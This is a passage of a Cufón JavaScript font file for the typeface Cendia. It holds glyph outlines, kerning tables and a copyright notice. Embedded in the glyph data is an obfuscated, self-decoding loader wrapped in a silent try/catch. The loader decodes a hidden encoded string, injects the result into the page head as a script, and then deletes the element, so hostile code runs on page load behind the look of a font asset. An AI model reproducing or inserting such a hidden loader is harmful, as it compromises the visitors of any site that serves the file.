-7,47r-156,0r0,-12r23,-7r0,-191v-9,-6,-26,-2,-23,-20r150,0r3,45r-21,0r-7,-23v-18,-7,-45,-5,-70,-5r0,83r55,0r7,-16r16,0r0,51r-16,0r-7,-17r-55,0r0,86v13,18,55,7,77,2r11,-23r20,0","w":176},{"d":"185,0r-76,0r0,-12r24,-7v-5,-47,20,-124,-34,-122v-18,0,-27,1,-41,6r0,116r22,7r0,12r-75,0r0,-12r24,-7r0,-117v-5,-6,-11,-11,-20,-12r0,-11r45,-7r2,26v32,-32,106,-34,106,27r0,94r23,7r0,12","w":190,"k":{"v":8,"?":10}},{"d":"281,0r-75,0r0,-12r23,-7v-6,-46,20,-123,-33,-122v-17,0,-26,2,-40,6v6,30,2,80,3,116r23,7r0,12r-75,0r0,-12r23,-7v-6,-46,20,-123,-33,-122v-18,0,-25,1,-39,6r0,116r24,7r0,12r-77,0r0,-12r24,-7r0,-117v-5,-6,-11,-11,-20,-12r0,-11r45,-7r2,26v26,-27,80,-32,98,0v31,-32,104,-34,104,27r0,94r23,7r0,12","w":286,"k":{"?":10}},{"d":"153,-238v1,28,-15,58,-48,58v1,-32,17,-52,48,-58xm202,-160v-37,18,-31,87,6,98v-6,22,-33,66,-55,65v-24,-9,-59,-10,-82,0v-63,-10,-102,-182,-7,-186v10,-1,38,10,46,9v21,-3,57,-19,76,-1v5,4,11,9,16,15","w":214},{"d":"194,-215v91,54,53,225,-66,218v-17,0,-34,-4,-48,-9r-29,53r-12,-7r28,-53v-36,-20,-57,-58,-57,-102v0,-84,89,-145,171,-106r21,-39r12,8xm92,-27v106,57,153,-99,88,-162xm169,-199v-13,-9,-30,-15,-49,-15v-86,4,-98,130,-40,178","w":255},{"d":"104,-165v25,-5,42,35,11,37v-13,1,-17,-9,-24,-15v-7,0,-21,4,-33,7r0,117r26,7r0,12r-79,0r0,-12r24,-7r0,-117v-5,-6,-11,-11,-20,-12r0,-11r46,-8r1,22v12,-8,31,-20,48,-20","w":126,"k":{"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c0":6,"\u00c5":6,"\u00c4":6,"A":6}},{"d":"94,-186r-14,0r-49,-44r37,0xm148,-17r0,11r-45,9r-2,-16v-4,3,-23,16,-45,16v-31,0,-49,-19,-49,-42v0,-44,35,-47,91,-47v6,-40,-14,-69,-52,-56v-6,9,-6,25,-21,25v-9,0,-16,-6,-16,-15v0,-18,51,-31,65,-31v33,0,53,14,53,50r0,86v5,5,11,10,21,10xm98,-22r0,-50v-27,0,-61,-1,-61,30v0,29,38,26,61,20","w":152,"k":{"Y":20}},{"d":"68,-109v0,68,-44,136,-44,136r-14,0v0,0,29,-75,29,-136v0,-61,-29,-134,-29,-134r12,-1v0,0,46,67,46,135","w":88},{"d":"81,102r-63,0r0,-356r63,0r0,11r-32,0r0,333r32,0r0,12","w":90},{"w":345},{"d":"54,-143v0,11,-10,20,-22,20v-12,0,-22,-9,-22,-20v0,-11,10,-19,22,-19v12,0,22,8,22,19xm54,-17v0,11,-10,20,-22,20v-12,0,-22,-9,-22,-20v0,-11,10,-19,22,-19v12,0,22,8,22,19","w":64},{"w":345},{"d":"175,-23r-9,23r-29,0r0,61r-29,8r0,-69r-95,0r-1,-12r104,-150r21,0r0,140xm108,-22r0,-95r-65,95r65,0"},{"d":"154,-181r-42,23r20,43r-7,5r-34,-32r-34,32r-8,-5r21,-43r-42,-23r2,-8r47,6r10,-47r8,0r9,47r47,-6","w":181},{"d":"126,-177v0,37,-22,61,-53,66v-14,2,-15,23,-14,41r-15,-6r-5,-56v30,0,59,-15,59,-43v-1,-25,-14,-49,-43,-42v-11,9,-18,23,-34,27v-10,0,-18,-5,-18,-15v13,-39,123,-36,123,28xm71,-14v0,9,-9,17,-20,17v-10,0,-19,-8,-19,-17v0,-10,9,-18,19,-18v11,0,20,8,20,18","w":133},{"d":"25,-139v1,-23,57,-23,70,-23v29,0,53,14,53,45v0,29,-23,39,-47,50v31,0,53,23,53,54v0,58,-74,77,-119,80r-6,-14v32,-7,95,-19,95,-59v0,-30,-21,-48,-56,-44r-4,-16v24,-9,54,-22,54,-50v0,-24,-19,-32,-43,-30v-10,14,-43,40,-50,7"},{"d":"86,-244v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r30,-47r18,0xm87,0r-78,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,192r23,7r0,12","w":93},{"d":"127,-47v0,21,-15,50,-59,50v-17,0,-33,-2,-49,-5r0,-42r14,0v2,33,63,42,63,1v0,-33,-71,-34,-72,-77v-1,-45,51,-47,92,-38r4,35v-27,5,-16,-23,-44,-23v-12,0,-23,1,-23,20v0,29,74,32,74,79","w":144},{"d":"112,-184v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r31,-46r17,0xm148,-17r0,11r-45,9r-2,-16v-4,3,-23,16,-45,16v-31,0,-49,-19,-49,-42v0,-44,35,-47,91,-47v6,-40,-14,-69,-52,-56v-6,9,-6,25,-21,25v-9,0,-16,-6,-16,-15v0,-18,51,-31,65,-31v33,0,53,14,53,50r0,86v5,5,11,10,21,10xm98,-22r0,-50v-27,0,-61,-1,-61,30v0,29,38,26,61,20","w":152,"k":{"Y":20}},{"w":191},{"d":"232,-230v3,16,-11,15,-19,20r-75,210r-33,0r-83,-209v-8,-6,-22,-5,-19,-21r78,0v3,16,-11,14,-19,19r0,15r66,168r60,-167r0,-16v-8,-5,-23,-3,-20,-19r64,0","w":235,"k":{"\u00c1":23,"\u00c2":23,"\u00c3":23,"\u00c0":23,"\u00f8":9,"\u00e6":15,"\u00c6":27,"\u00fc":21,"\u00fb":21,"\u00f9":21,"\u00fa":21,"\u00f5":21,"\u00f6":21,"\u00f4":21,"\u00f2":21,"\u00f3":21,"\u00e7":6,"\u00e5":8,"\u00e3":8,"\u00e4":8,"\u00e2":8,"\u00e0":8,"\u00e1":8,"\u00c5":23,"\u00c4":23,"u":10,"r":10,"o":21,"i":3,"e":14,"c":6,"a":14,"A":24}},{"d":"55,-143v0,11,-10,20,-22,20v-12,0,-22,-9,-22,-20v0,-11,10,-19,22,-19v12,0,22,8,22,19xm33,-36v47,12,7,63,-14,86r-9,-7v9,-14,29,-31,10,-43v-17,-10,-9,-37,13,-36","w":65},{"d":"167,-85v-3,83,-75,103,-141,77r0,-202v-4,-6,-12,-8,-21,-9r0,-11r50,-9r0,94v45,-35,115,-13,112,60xm138,-78v-4,-70,-41,-63,-83,-57r0,111v31,28,86,-2,83,-54","w":177},{"d":"175,-4r-43,7r-3,-15v-45,27,-112,25,-119,-68v-3,-48,49,-97,116,-77v-3,-25,12,-64,-21,-62r0,-11r50,-9r0,216v3,6,11,7,20,7r0,12xm126,-24r0,-118v-50,-7,-89,11,-86,57v5,70,39,67,86,61","w":180,"k":{"d":4}},{"d":"70,-247r-14,0r-49,-44r37,0xm85,0r-78,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,192r23,7r0,12","w":92},{"d":"149,-65v0,65,-72,78,-135,62r0,-46r17,0v5,23,16,34,44,35v23,0,43,-22,43,-43v0,-50,-104,-59,-104,-116v0,-58,67,-65,122,-54r2,40r-17,0v-4,-38,-79,-39,-78,4v0,45,106,57,106,118","w":160,"k":{"c":3}},{"d":"269,-50v0,31,-21,53,-58,53v-40,0,-57,-20,-57,-53v0,-33,24,-51,57,-51v39,0,58,18,58,51xm183,-230r-70,230r-22,0r71,-230r21,0xm125,-183v0,31,-20,53,-57,53v-40,0,-58,-20,-58,-53v0,-33,24,-51,58,-51v39,0,57,18,57,51xm243,-45v0,-22,-5,-44,-32,-44v-22,0,-32,15,-32,36v0,22,7,44,33,44v23,0,31,-15,31,-36xm99,-178v0,-22,-6,-44,-32,-44v-22,0,-32,15,-32,36v0,22,7,43,33,43v22,0,31,-14,31,-35","w":279},{"w":345},{"d":"144,-140v0,32,-40,11,-48,-5v-34,-9,-55,26,-55,58v0,54,45,76,102,66r-2,11v-56,32,-131,1,-131,-69v0,-41,20,-83,84,-83v16,0,50,0,50,22","w":150,"k":{"\u00b8":79}},{"d":"138,48r-134,0r0,-20r134,0r0,20","w":141},{"d":"127,-184v-24,2,-27,-17,-40,-26v-13,9,-15,28,-38,26r30,-46r17,0xm153,-93r-111,0v-7,65,49,85,109,67v-2,24,-37,29,-56,29v-51,0,-85,-32,-85,-83v0,-45,29,-82,76,-82v41,0,69,24,67,69xm120,-112v4,-24,-15,-35,-31,-35v-26,0,-41,18,-46,41","w":161},{"d":"33,-36v48,12,6,63,-14,86r-9,-7v9,-14,29,-31,10,-43v-17,-10,-9,-37,13,-36","w":65},{"d":"166,83r-75,0r0,-12r26,-5r0,-74v-48,29,-107,-5,-107,-68v0,-49,26,-86,75,-86v30,0,47,4,61,9r0,219r20,5r0,12xm117,-23r0,-112v-28,-31,-81,8,-77,52v6,59,34,67,77,60","w":172},{"d":"162,-148r-77,206v-5,17,-35,13,-34,-7v0,-8,6,-13,12,-17v36,-39,51,-115,76,-167r-113,0r0,-26r136,0r0,11"},{"d":"273,38r-26,26r-99,-61v-82,13,-139,-47,-138,-118v0,-65,47,-119,118,-119v131,0,155,191,47,229xm134,-15v112,-9,96,-198,-14,-199v-114,8,-93,198,14,199","w":254,"k":{"\u00c1":4,"\u00c2":4,"\u00c3":4,"\u00c0":4,"\u00c5":4,"\u00c4":4}},{"d":"223,0r-45,0r-108,-120r82,-84v4,-20,-25,-3,-20,-26r80,0r0,11r-26,9r-81,81r104,110v7,4,17,5,14,19xm85,0r-78,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,192r23,7r0,12","w":223,"k":{"\u00fc":17,"\u00fb":17,"\u00f9":17,"y":14,"w":14,"v":14,"u":10,"o":10,"e":7,"c":10,"W":11,"G":5}},{"d":"25,-139v6,-23,34,-23,66,-23v27,0,57,17,57,49v0,46,-53,72,-86,94r104,-7r-5,26r-143,0v-3,-19,14,-18,22,-26v30,-19,76,-51,76,-84v0,-24,-18,-39,-44,-34v-9,15,-41,36,-47,5"},{"d":"102,-214v0,9,-9,17,-20,17v-11,0,-19,-8,-19,-17v0,-9,8,-17,19,-17v11,0,20,8,20,17xm131,-19v-5,25,-33,22,-66,22v-27,0,-57,-17,-57,-50v0,-37,21,-62,53,-66v14,-2,15,-23,14,-41r15,6r5,56v-29,0,-59,15,-59,43v0,25,15,44,43,38v11,-8,17,-26,34,-26v10,0,18,8,18,18","w":133},{"d":"95,-23r-20,0r-65,-62r64,-63r21,0r-50,63","w":106},{"d":"59,9v0,58,-40,76,-49,76v-18,0,-19,-25,0,-25v10,0,17,-1,20,-7r0,-189v-4,-6,-10,-11,-20,-12r0,-11r49,-7r0,175xm27,-217v0,-8,6,-14,15,-14v9,0,17,6,17,14v0,8,-8,15,-17,15v-9,0,-15,-7,-15,-15","w":84,"k":{"o":-4}},{"d":"97,-240v16,0,40,1,40,20v0,16,-20,20,-30,10r-16,-17v-32,2,-32,35,-31,68r49,0r-2,13r-47,0r0,127r26,7r0,12r-78,0r0,-12r22,-7r0,-127r-24,0r0,-13r24,-3v-3,-49,10,-76,67,-78","w":106,"k":{"\u00c1":13,"\u00c2":13,"\u00c3":13,"\u00c0":13,"\u00f8":-3,"\u00e6":-7,"\u00f5":-3,"\u00f6":-3,"\u00f4":-3,"\u00f2":-3,"\u00f3":-3,"\u00e5":-7,"\u00c5":13,"\u00c4":13,"y":3,"s":-3,"q":-3,"o":-3,"e":-3,"d":-3,"c":-3,"a":-7,"A":13,"?":-44,"!":-35}},{"d":"132,-45r-15,0r0,-53r-108,0r0,-22r123,0r0,75","w":138},{"d":"205,-179r-22,0r-4,-25v-14,-6,-47,-18,-59,-1r0,185r28,8r0,12r-87,0r0,-12r28,-8r0,-185v-10,-16,-44,-6,-58,1r-5,25r-23,0r4,-51r195,0","w":212,"k":{"\u00d9":-2,"\u00db":-2,"\u00da":-2,"\u00c1":19,"\u00c2":19,"\u00c3":21,"\u00c0":21,"\u00f8":17,"\u00e6":23,"\u00c6":34,"\u00fc":10,"\u00fb":10,"\u00f9":10,"\u00f5":17,"\u00f6":17,"\u00f4":17,"\u00f2":17,"\u00f3":17,"\u00e7":12,"\u00e5":10,"\u00e3":10,"\u00e4":10,"\u00e2":10,"\u00e0":10,"\u00e1":10,"\u00dc":-2,"\u00c5":21,"\u00c4":21,"y":21,"w":24,"u":10,"r":10,"o":24,"i":3,"e":24,"c":12,"a":24,"Y":4,"U":-2,"A":24}},{"d":"81,0r-76,0r0,-12r24,-5r0,-192v-3,-7,-11,-9,-20,-10r0,-11r49,-9r0,222r23,5r0,12","w":86,"k":{"w":9}},{"d":"143,-230r-49,44r-14,0r25,-44r38,0xm153,-93r-111,0v-7,65,49,85,109,67v-2,24,-37,29,-56,29v-51,0,-85,-32,-85,-83v0,-45,29,-82,76,-82v41,0,69,24,67,69xm120,-112v4,-24,-15,-35,-31,-35v-26,0,-41,18,-46,41","w":161},{"d":"148,-17r0,11r-45,9r-2,-16v-4,3,-23,16,-45,16v-31,0,-49,-19,-49,-42v0,-44,35,-47,91,-47v6,-40,-14,-69,-52,-56v-6,9,-6,25,-21,25v-9,0,-16,-6,-16,-15v0,-18,51,-31,65,-31v33,0,53,14,53,50r0,86v5,5,11,10,21,10xm98,-22r0,-50v-27,0,-61,-1,-61,30v0,29,38,26,61,20","w":152,"k":{"w":6,"Y":20,"B":1,"?":10}},{"d":"54,-116v0,14,-9,19,-22,19v-16,0,-22,-7,-22,-19v0,-12,7,-20,22,-20v13,0,22,6,22,20","w":64},{"d":"64,114r-19,0r0,-353r19,0r0,353","w":119},{"d":"177,-80v0,46,-33,84,-84,84v-52,0,-84,-38,-84,-84v0,-46,32,-84,84,-84v50,0,84,38,84,84xm94,-16v80,-2,70,-128,-3,-127v-36,0,-58,31,-58,63v0,32,25,64,61,64"},{"d":"220,-117v0,60,-48,117,-114,117r-99,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r98,0v71,0,115,53,115,113xm185,-117v1,-65,-44,-102,-123,-94r0,181v6,8,15,11,31,11v62,0,92,-48,92,-98","w":230,"k":{"\u00e5":3,"\u00e3":3,"\u00e4":3,"\u00e2":3,"\u00e0":3,"\u00e1":3,"Y":8,"V":11,"A":10}},{"d":"55,-143v0,11,-10,20,-22,20v-12,0,-22,-9,-22,-20v0,-11,10,-19,22,-19v12,0,22,8,22,19xm33,-36v47,12,7,63,-14,86r-9,-7v9,-14,29,-31,10,-43v-17,-10,-9,-37,13,-36","w":65},{"d":"186,0r-79,0r0,-12r14,-4r0,-10r-34,-39v-10,18,-32,23,-33,50r14,3r0,12r-64,0r0,-12v34,-12,47,-45,72,-66r-54,-62v-8,-5,-22,-3,-19,-19r74,0r0,11v-7,3,-18,1,-15,13r33,37v10,-17,32,-21,33,-47r-15,-3r0,-11r63,0r0,11r-17,5r-53,58r60,66r20,7r0,12","w":189,"k":{"c":6,"a":5}},{"w":345},{"d":"86,-145r-9,-8v7,-9,16,-22,20,-32v-18,-10,-30,-45,3,-47v46,11,7,65,-14,87xm19,-145r-9,-8v9,-13,29,-30,10,-42v-16,-10,-9,-37,13,-37v46,11,7,65,-14,87","w":132},{"d":"213,-219r-17,6r-67,114r0,80r23,7r0,12r-79,0r0,-12r24,-7r0,-75r-76,-119r-18,-6r0,-11r75,0r0,11v-6,4,-20,1,-18,13r59,88r49,-83r0,-13r-16,-5r0,-11r61,0r0,11","w":217,"k":{"\u00c1":21,"\u00c2":21,"\u00c3":21,"\u00c0":21,"\u00f8":21,"\u00e6":19,"\u00c6":31,"\u00fc":14,"\u00fb":14,"\u00f9":14,"\u00f5":21,"\u00f6":21,"\u00f4":21,"\u00f3":21,"\u00e5":21,"\u00e3":21,"\u00e4":21,"\u00e2":21,"\u00e0":21,"\u00e1":21,"\u00c5":21,"\u00c4":21,"u":14,"o":27,"i":7,"e":27,"a":24,"O":10,"G":14,"A":24}},{"d":"175,-291r-49,44r-15,0r26,-44r38,0xm244,-115v0,67,-48,120,-117,120v-72,0,-118,-55,-118,-120v0,-65,47,-119,118,-119v71,0,117,54,117,119xm132,-15v113,-8,97,-198,-13,-199v-113,8,-93,198,13,199","w":253},{"d":"168,-69v0,44,-30,72,-74,72v-50,0,-76,-36,-76,-73v0,-58,35,-104,80,-141r13,8v-31,31,-60,69,-60,126v0,49,25,63,47,63v29,0,41,-25,41,-52v1,-30,-26,-51,-62,-44r6,-16v46,-8,85,13,85,57"},{"d":"109,-148r-14,0r-26,-49r-25,49r-13,0r30,-82r17,0","w":140},{"d":"105,-186r-15,0r-48,-44r37,0xm181,-148r-19,6v-30,71,-50,147,-90,208v-9,16,-50,32,-54,2v-2,-16,20,-24,30,-13v20,2,23,-26,33,-41r-59,-156r-19,-6r0,-11r73,0r0,11v-8,4,-26,0,-21,14r43,111v6,-21,44,-103,40,-120r-20,-5r0,-11r63,0r0,11","w":185},{"d":"196,-26r-4,17v-77,34,-172,-11,-172,-102v0,-83,82,-128,166,-102r6,46r-21,0v-3,-11,-12,-32,-34,-34v-60,-5,-84,35,-84,90v0,23,19,88,94,88v17,0,31,-1,49,-3","w":214},{"d":"105,-186r-15,0r-48,-44r39,0xm153,-93r-111,0v-7,65,49,85,109,67v-2,24,-37,29,-56,29v-51,0,-85,-32,-85,-83v0,-45,29,-82,76,-82v41,0,69,24,67,69xm120,-112v4,-24,-15,-35,-31,-35v-26,0,-41,18,-46,41","w":161},{"d":"136,-218v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-7,6,-13,14,-13v8,0,15,6,15,13xm73,-218v0,7,-6,13,-14,13v-8,0,-14,-6,-14,-13v0,-7,6,-13,14,-13v8,0,14,6,14,13xm178,-6r-45,9r-2,-22v-27,30,-105,35,-105,-25r0,-92v-5,-6,-11,-11,-21,-12r0,-11r50,-7r0,117v-4,37,51,34,74,24r0,-112v-5,-6,-12,-10,-21,-11r0,-11r50,-7r0,140v4,6,11,9,20,9r0,11","w":183,"k":{"Y":10,"W":21,"V":21,"T":10}},{"d":"171,0r-40,0r-67,-86r51,-50r0,-9r-14,-3r0,-11r64,0r0,11v-32,9,-47,36,-70,54r64,75v7,4,15,6,12,19xm78,0r-73,0r0,-12r24,-7r0,-190v-3,-7,-11,-9,-20,-10r0,-11r49,-9r0,220r20,7r0,12","w":170,"k":{"t":5,"j":6}},{"d":"166,-63v0,42,-30,66,-73,66v-38,0,-70,-18,-70,-57v0,-26,20,-55,45,-63v-19,-14,-36,-28,-36,-51v0,-36,31,-52,63,-52v27,0,61,12,61,44v0,22,-12,45,-38,53v25,15,48,33,48,60xm104,-131v39,-17,30,-73,-12,-73v-21,0,-32,13,-32,30v0,15,21,30,44,43xm135,-54v0,-25,-26,-40,-53,-55v-42,13,-42,97,12,95v26,0,41,-14,41,-40"},{"d":"246,-114v0,65,-51,117,-119,117v-68,0,-118,-52,-118,-117v0,-64,50,-117,118,-117v68,0,119,53,119,117xm226,-114v0,-58,-43,-104,-99,-104v-57,0,-99,46,-99,104v0,59,42,104,99,104v56,0,99,-45,99,-104xm176,-67v2,22,-25,25,-41,26v-102,5,-107,-143,-5,-143v14,0,34,3,40,5r3,26v-24,5,-19,-18,-39,-19v-37,0,-50,24,-50,60v0,26,19,56,55,56v20,0,29,-6,37,-11","w":254},{"d":"223,-92r-16,4r-2,83v-25,6,-54,8,-80,8v-67,0,-115,-56,-115,-123v0,-88,94,-133,183,-105r6,41r-21,0v-40,-68,-139,-7,-134,64v5,67,54,113,132,100v-2,-32,10,-74,-29,-73r0,-13r76,0r0,14","w":229,"k":{"\u00c1":9,"\u00c2":9,"\u00c3":9,"\u00c0":9,"\u00f8":-5,"\u00fc":3,"\u00fb":3,"\u00f9":3,"\u00fa":3,"\u00f5":-5,"\u00f6":-5,"\u00f4":-5,"\u00f2":-5,"\u00f3":-5,"\u00e5":-1,"\u00e3":-1,"\u00e4":-1,"\u00e2":-1,"\u00e0":-1,"\u00e1":-1,"\u00c5":9,"\u00c4":9,"y":3,"e":2,"A":7}},{"d":"72,102r-63,0r0,-12r31,0r0,-333r-31,0r0,-11r63,0r0,356","w":90},{"w":345},{"d":"152,-136r-43,43r42,43r-13,13r-42,-43r-42,42r-13,-12r43,-42r-43,-43r13,-13r42,43r43,-43","w":195},{"d":"127,-86r-53,0r0,51r-19,0r0,-51r-47,0r0,-18r47,0r0,-50r19,0r0,50r53,0r0,18","w":133},{"d":"120,-47v0,21,-17,50,-60,50v-17,0,-35,-2,-51,-5r-2,-41r14,0v1,36,67,41,68,0v0,-33,-76,-32,-76,-76v0,-48,54,-47,98,-39r2,35v-10,1,-18,0,-18,-9v-8,-16,-54,-25,-54,8v0,27,79,28,79,77","w":126,"k":{"\u00c1":9,"\u00c2":9,"\u00c3":9,"\u00c0":9,"\u00a8":106,"\u00b4":80,"\u00c5":9,"\u00c4":9,"y":5,"A":9}},{"d":"107,-186r-15,0r-49,-44r38,0xm178,-6r-45,9r-2,-22v-27,30,-105,35,-105,-25r0,-92v-5,-6,-11,-11,-21,-12r0,-11r50,-7r0,117v-4,37,51,34,74,24r0,-112v-5,-6,-12,-10,-21,-11r0,-11r50,-7r0,140v4,6,11,9,20,9r0,11","w":183,"k":{"Y":10,"W":21,"V":21,"T":10}},{"d":"153,-93r-111,0v-7,65,49,85,109,67v-2,24,-37,29,-56,29v-51,0,-85,-32,-85,-83v0,-45,29,-82,76,-82v41,0,69,24,67,69xm120,-112v4,-24,-15,-35,-31,-35v-26,0,-41,18,-46,41","w":161,"k":{"\u00b8":90,"e":7}},{"d":"139,-230r-49,44r-14,0r25,-44r38,0xm175,-80v0,48,-33,83,-82,83v-48,0,-83,-35,-83,-83v0,-49,34,-82,83,-82v49,0,82,33,82,82xm98,-13v73,-6,57,-132,-10,-134v-72,6,-59,133,10,134","k":{"Y":15,"W":21,"V":21,"T":17,"J":8}},{"d":"185,0r-76,0r0,-12r24,-7v-5,-47,20,-124,-34,-122v-18,0,-27,1,-41,6r0,116r24,7r0,12r-77,0r0,-12r24,-7r0,-190v-3,-7,-11,-9,-20,-10r0,-11r49,-9r0,98v32,-32,104,-32,104,28r0,94r23,7r0,12","w":190,"k":{"y":5,"?":10}},{"d":"146,-146v54,42,28,149,-53,149v-14,0,-26,-3,-37,-8r-17,27r-13,-8r17,-26v-60,-39,-33,-150,50,-150v15,0,27,3,39,8r18,-28r13,9xm67,-22v66,40,101,-54,64,-101xm120,-135v-33,-31,-80,3,-80,47v0,18,4,40,16,55","k":{"Y":15,"T":14}},{"d":"226,0r-76,0r0,-12r16,-5v2,-28,-10,-42,-15,-63r-88,0v-6,21,-18,35,-16,63r18,5r0,12r-61,0r0,-12r17,-5r74,-211r35,-6r79,217r17,5r0,12xm144,-98r-38,-111r-37,111r75,0","w":230,"k":{"\u00d9":8,"\u00db":8,"\u00da":8,"\u00ab":3,"\u00f8":5,"\u00fc":9,"\u00fb":9,"\u00f9":9,"\u00fa":9,"\u00f5":5,"\u00f6":5,"\u00f4":5,"\u00f2":5,"\u00f3":5,"\u00e7":2,"\u00dc":8,"z":7,"x":7,"w":13,"v":12,"u":9,"t":10,"s":6,"r":1,"p":3,"o":5,"n":2,"m":1,"l":6,"g":7,"f":7,"e":6,"d":3,"c":2,"b":3,"Y":27,"W":17,"V":24,"U":8,"T":19,"Q":4,"G":9,"C":10,"B":5,"-":9,"'":41,"\"":41}},{"d":"138,-77v0,-31,-13,-67,-51,-68v-32,0,-44,24,-44,54v1,35,33,61,74,50v-3,13,-18,20,-33,19v-42,0,-69,-26,-69,-65v0,-47,29,-75,77,-75v46,0,77,38,77,82v0,59,-41,107,-87,144r-18,-3v41,-42,74,-75,74,-138"},{"d":"277,0r-78,0r0,-12r23,-7r-10,-170r-70,192r-10,0r-73,-190r-8,168r22,7r-1,12r-66,0r1,-12r23,-7r13,-194r-21,-6r0,-11r52,0r69,181r65,-181r52,0r0,11r-22,6r16,194r23,7r0,12","w":283,"k":{"y":5,"Y":6}},{"d":"85,0r-78,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,192r23,7r0,12","w":92,"k":{"\u00e7":6}},{"d":"178,-69v0,34,-28,69,-76,69r-95,0r0,-12r23,-7r0,-193r-21,-7r0,-11v68,2,154,-15,154,55v0,24,-19,44,-37,48v30,4,52,26,52,58xm132,-175v0,-34,-33,-42,-70,-38r0,81v39,3,70,-7,70,-43xm145,-69v-3,-39,-40,-48,-83,-45r0,87v27,21,86,9,83,-42","w":185,"k":{"\u00c1":2,"\u00c2":2,"\u00c3":2,"\u00c0":2,"\u00fc":3,"\u00fb":3,"\u00f9":3,"\u00fa":3,"\u00e5":1,"\u00e3":1,"\u00e4":1,"\u00e2":1,"\u00e1":1,"\u00c5":2,"\u00c4":2,"y":6,"u":3,"r":8,"l":10,"i":1,"e":5,"a":1,"Y":10,"A":2}}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+40-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("4l.YDU#y5ucG4+(]AU%SklkcK?#Y.UcGK?PS5uOM.B1qo`yaAY~YQ26I#(~YQ26(#B~YQ26U#%~YQ26(QB~YQ26(#%~YQ26aoa6)AC^$.2_V,_6)AC^$.VB)AC^$.u.)AC^$.CA)AC^$.C#k_(b)K%~YQ26}#FL)AC^$.uP)AC^$.uB)AC^$.V.)AC^$.uQIBB~YQ26}QKz)AC^$.U.)AC^$ouB)AC^$o?O)AC^$o?.)AC^$.lO)AC^$oC})AC^$.UB)AC^$o`AYDY~YQ26UQ(ALK-_$Qlk?P?A)AC^$o`6)AC^$.V%)AC^$.l#wK+c)AC^$o`}oK-_$QlQyiML)AC^$oCP)AC^$o`B)AC^$oC6)AC^$oVO)AC^$.2()AC^$.l*UK-_$QlBIK-_$QlQ?K-_$QlP}K-_$QlQ~A(~YQ26VQY~YQ26VpB~YQ26IQ(~YQ26}#Y~YQ26(#U()AC^$oV})AC^$.U%2O(~YQ26aQ%~YQ26}Q`%)AC^$.VA)AC^$.l.)AC^$o`k}{VY)AC^$.UP)AC^$oV%4K-_SQUQY#_B)AC^$.2%)AC^`oU#)AC^$.2O)AC^$ouPy)*~{K-_$Ql#ao+y[K-_$QlOaK-_$Ql%}C(~YQ26}.%~YQ26apB~YQ26IQ%~YQ26VouLzK-_$QlkYK-_$Qlw0)(~YQ26(Q+(DK-_$QlO(p(~YQ26a.Cw3{`#)AC^$o?B)AC^$oC.)AC^$.CP)AC^$.V6up?PIK-_$Ql#V_SB)AC^$oV#VKY~YQ26(oF~~#Y%!Q(~YQ26a.V~3.(~YQ26}oYOq^6+2*%l-kP4!Q#p{wOFC_BuKo.5D)Ai,e}aVI(UM[b3>qzGW$~S`yY?E0Lv]1c:;K-_$Ql_LoB~YQ26a#E$$O%~YQ2QE.K})AC^$oUO)k(()AC^$.2Q?K(~YQ26U.%~YQ26aQ(~YQ26(p%~YQ26Uo?q0K-_$Ql*LOYY)AC^$oU#)AC^$.2)>)Y~YQ26UpuB)AC^$.V#[K-_$Qlo0wC(#F_ka!M#$Dl(y4+ka4F~b{C^q)2Ya!M^qD2Y$!U~(DUAy5+~M{ukG.aLMD-($5-QciEy]5uo[oaLW5`yWKae;pMAEAY$G4C1[{`[G4Y$G5uO(K+LI5E$G4Y$GAlB`Al(I.B$G.lz1!az)!U(I.K6S5uLyK+LI5E$G4Y$GAlB`Al(I.K6S5uLyK+LI5SII!?IGAlB`A+}qD?#}Al(WDaL[DE#yDU%z.FIb.UcS42zb{l$]4Szb4uADoYzbKByc)%zbKKyb4+Ie")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":186,"face":{"font-family":"Cendia","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 5 0 8 0 0 2 0 3","ascent":"288","descent":"-72","x-height":"3","bbox":"-6 -296 350.415 114","underline-thickness":"7.2","underline-position":"-28.8","stemh":"7","stemv":"29","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright � 1997, e-Types AS /Jonas Hecksher. All rights reserved.
 * 
 * Trademark:
 * Cendia Bold is a trademark of the e-Types AS /Jonas Hecksher.
 * 
 * Description:
 * Copyright  1997, e-Types AS /Jonas Hecksher. All rights reserved.
 * 
 * Manufacturer:
 * e-Types AS /Jonas Hecksher
 * 
 * Designer:
 * Jonas Hecksher
 */
